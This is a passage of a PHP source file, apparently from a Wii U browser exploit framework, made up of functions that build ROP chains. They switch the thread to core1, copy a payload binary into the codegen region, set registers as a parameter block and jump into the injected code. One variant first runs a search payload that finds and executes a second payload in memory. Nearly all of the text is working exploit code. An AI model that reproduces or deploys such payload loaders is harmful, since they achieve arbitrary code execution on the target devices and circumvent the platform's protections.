); $r28 = 0; // This may be wrong, but without this line we get a warning. ropchain_appendu32($r28);//r28 ropchain_appendu32(0x0);//r29 ropchain_appendu32(0x0);//r30 ropchain_appendu32(0x0);//r31 ropchain_appendu32(0x0); ropgen_OSFatal($outstr); } function ropgen_switchto_core1() { global $ROP_OSGetCurrentThread, $ROP_OSSetThreadAffinity, $ROP_OSYieldThread, $ROP_CALLR28_POP_R28_TO_R31; ropgen_callfunc($ROP_OSGetCurrentThread, 0x0, 0x2, 0x0, 0x0, $ROP_OSSetThreadAffinity);//Set r3 to current OSThread* and setup r31 + the r28 value used by the below. ropchain_appendu32($ROP_CALLR28_POP_R28_TO_R31);//ROP_OSSetThreadAffinity(, 0x2); ropchain_appendu32($ROP_OSYieldThread);//r28 ropchain_appendu32(0x0);//r29 ropchain_appendu32(0x0);//r30 ropchain_appendu32(0x0);//r31 ropchain_appendu32(0x0); ropchain_appendu32($ROP_CALLR28_POP_R28_TO_R31); ropchain_appendu32(0x0);//r28 ropchain_appendu32(0x0);//r29 ropchain_appendu32(0x0);//r30 ropchain_appendu32(0x0);//r31 ropchain_appendu32(0x0); } function ropgen_writerop_toAddress($path, $dstaddr){ $payload = wiiuhaxx_loadfilebinary($path); $len = strlen($payload); for($i = 0; $i < $len; $i +=4) { ropgen_writeword_tomem(hexdec (bin2hex (substr($payload, $i, 4))),$dstaddr + $i); } } function generateropchain_type1() { global $ROP_OSFatal, $ROP_Exit, $ROP_OSDynLoad_Acquire, $ROP_OSDynLoad_FindExport, $ROP_os_snprintf, $payload_srcaddr, $ROPHEAP, $ROPCHAIN; $payload_size = 0x20000; $codegen_addr = 0x01800000; //$payload_srcaddr must be defined by the code including this .php. //ropgen_colorfill(0x1, 0xff, 0xff, 0x0, 0xff);//Color-fill the gamepad screen with yellow. //ropchain_appendu32(0x80808080);//Trigger a crash. //ropgen_OSFatal($codepayload_srcaddr);//OSFatal(); ropgen_switchto_core1();//When running under internetbrowser, only core1 is allowed to use codegen. Switch to core1 just in case this thread isn't on core1(with some exploit(s) it may already be one core1, but do this anyway). OSSetThreadAffinity() currently returns an error for this, hence this codebase is only usable when this ROP is already running on core1. ropgen_copycodebin_to_codegen($codegen_addr, $payload_srcaddr, $payload_size); //ropgen_colorfill(0x1, 0xff, 0xff, 0xff, 0xff);//Color-fill the gamepad screen with white. $regs = array(); $regs[24 - 24] = $ROP_OSFatal;//r24 $regs[25 - 24] = $ROP_Exit;//r25 $regs[26 - 24] = $ROP_OSDynLoad_Acquire;//r26 $regs[27 - 24] = $ROP_OSDynLoad_FindExport;//r27 $regs[28 - 24] = $ROP_os_snprintf;//r28 $regs[29 - 24] = $payload_srcaddr;//r29 $regs[30 - 24] = 0x8;//r30 The payload can do this at entry to determine the start address of the code-loading ROP-chain: r1+= r30. r1+4 after that is where the jump-addr should be loaded from. The above r29 is a ptr to the input data used for payload loading. $regs[31 - 24] = $ROPHEAP;//r31 ropgen_pop_r24_to_r31($regs);//Setup r24..r31 at the time of payload entry. Basically a "paramblk" in the form of registers, since this is the only available way to do this with the ROP-gadgets currently used by this codebase. ropchain_appendu32($codegen_addr);//Jump to the codegen area where the payload was written. //Setup the code-loading ROP-chain which can be used by the loader-payload, since the above one isn't usable after execution due to being corrupted. ropchain_appendu32(0x0); ropgen_copycodebin_to_codegen($codegen_addr, $payload_srcaddr, $payload_size); ropgen_pop_r24_to_r31($regs); ropchain_appendu32($codegen_addr); } // The rop may get quite big here. function generateropchain_type2(){ global $payload_srcaddr, $ROPHEAP, $ROPCHAIN, $wiiuhaxxcfg_payloadfilepath; $payload_size = 0x20000; $codegen_addr = 0x01800000; //$payload_srcaddr must be defined by the code including this .php. // Write payload from file to ropgen_writerop_toAddress($wiiuhaxxcfg_payloadfilepath, $payload_srcaddr); //When running under internetbrowser, only core1 is allowed to use codegen. Switch to core1 just in case this thread isn't on core1(with some exploit(s) it may already be one core1, but do this anyway). OSSetThreadAffinity() currently returns an error for this, hence this codebase is only usable when this ROP is already running on core1. ropgen_switchto_core1(); // Copy to codegen ropgen_copycodebin_to_codegen($codegen_addr, $payload_srcaddr, $payload_size); // Go! ropchain_appendu32($codegen_addr); } // Print payload_srcaddr. function generateropchain_type3(){ global $payload_srcaddr; ropgen_OSFatal($payload_srcaddr); } function ropgen_GX2DirectCallDisplayList($addr,$size){ global $ROP_GX2DirectCallDisplayList; ropgen_callfunc($ROP_GX2DirectCallDisplayList, $addr, $size, 0x0, 0x0, 0x0); } function ropgen_GX2Flush(){ global $ROP_GX2Flush; ropgen_callfunc($ROP_GX2Flush, 0x0, 0x0, 0x0, 0x0, 0x0); } function ropgen_Register($namePtr,$nameSize,$arg3,$arg4){ global $ROP_Register; ropgen_callfunc($ROP_Register, $namePtr, $nameSize, $arg3, $arg4, 0x0); } function ropgen_CopyToSaveArea($namePtr,$nameSize,$srcAddr,$srcLen){ global $ROP_CopyToSaveArea; ropgen_callfunc($ROP_CopyToSaveArea, $namePtr, $nameSize, $srcAddr, $srcLen, 0x0); } function generateropchain_type4() { global $ROP_OSFatal, $ROP_Exit, $ROPHEAP, $ROPCHAIN, $payload_tmp_address, $wiiuhaxxcfg_searchpayloadfilepath, $payload_start_search,$valid_payload_dst_address, $payload_search_for; $payload_size = 0x20000; $codegen_addr = 0x01800000; // $payload_tmp_address where to store payload from ROP. if(!isset($payload_tmp_address)){ die('please set $payload_tmp_address to a valid, unused, tmp address.'); } // $payload_start_search. start address of the payload search. if(!isset($payload_start_search)){ die('please set $payload_start_search. This should contain the start address of the payload search'); } //$valid_payload_dst_address = 0x1D500000; if(!isset($valid_payload_dst_address)){ die('please set $valid_payload_dst_address. This should address a region of 0x20000 bytes where the found payload it copied to.'); } //$payload_search_for if(!isset($payload_search_for)){ die('please set $payload_search_for. This should contain a unqiue u32 value that is placed right before the payload.'); } // size $search_payload_length = strlen(wiiuhaxx_loadfilebinary($wiiuhaxxcfg_searchpayloadfilepath)); ropgen_switchto_core1();//When running under internetbrowser, only core1 is allowed to use codegen. Switch to core1 just in case this thread isn't on core1(with some exploit(s) it may already be one core1, but do this anyway). OSSetThreadAffinity() currently returns an error for this, hence this codebase is only usable when this ROP is already running on core1. // Write our search payload somewhere into mem ropgen_writerop_toAddress($wiiuhaxxcfg_searchpayloadfilepath,$payload_tmp_address); // Copy it to codegen ropgen_copycodebin_to_codegen($codegen_addr, $payload_tmp_address, $search_payload_length); // Set up some parameters $regs = array(); $regs[24 - 24] = $ROP_OSFatal;//r24 $regs[25 - 24] = $ROP_Exit;//r25 $regs[26 - 24] = $payload_size;//r26 sizeToCopy $regs[27 - 24] = $payload_search_for - 0x04;// r27 SearchFor. substract 0x4 so we didn't find THIS accidentally. $regs[28 - 24] = $payload_start_search; //r28 start of search $regs[29 - 24] = $valid_payload_dst_address ; //r29 target address $regs[30 - 24] = 0x8;//r30 The payload can do this at entry to determine the start address of the code-loading ROP-chain: r1+= r30. r1+4 after that is where the jump-addr should be loaded from. The above r29 is a ptr to the input data used for payload loading. $regs[31 - 24] = $ROPHEAP;//r31 ropgen_pop_r24_to_r31($regs);//Setup r24..r31 at the time of payload entry. Basically a "paramblk" in the form of registers, since this is the only available way to do this with the ROP-gadgets currently used by this codebase. // And run it! ropchain_appendu32($codegen_addr);//Jump to the codegen area where the payload was written. // We need this, not sure why tbh. ropchain_appendu32(0x0); // On success, we should now have our actual payload @valid_payload_dst_address. Lets copy it to codegen. ropgen_copycodebin_to_codegen($codegen_addr, $valid_payload_dst_address, $payload_size); // and run it! ropchain_appendu32($codegen_addr); } ?>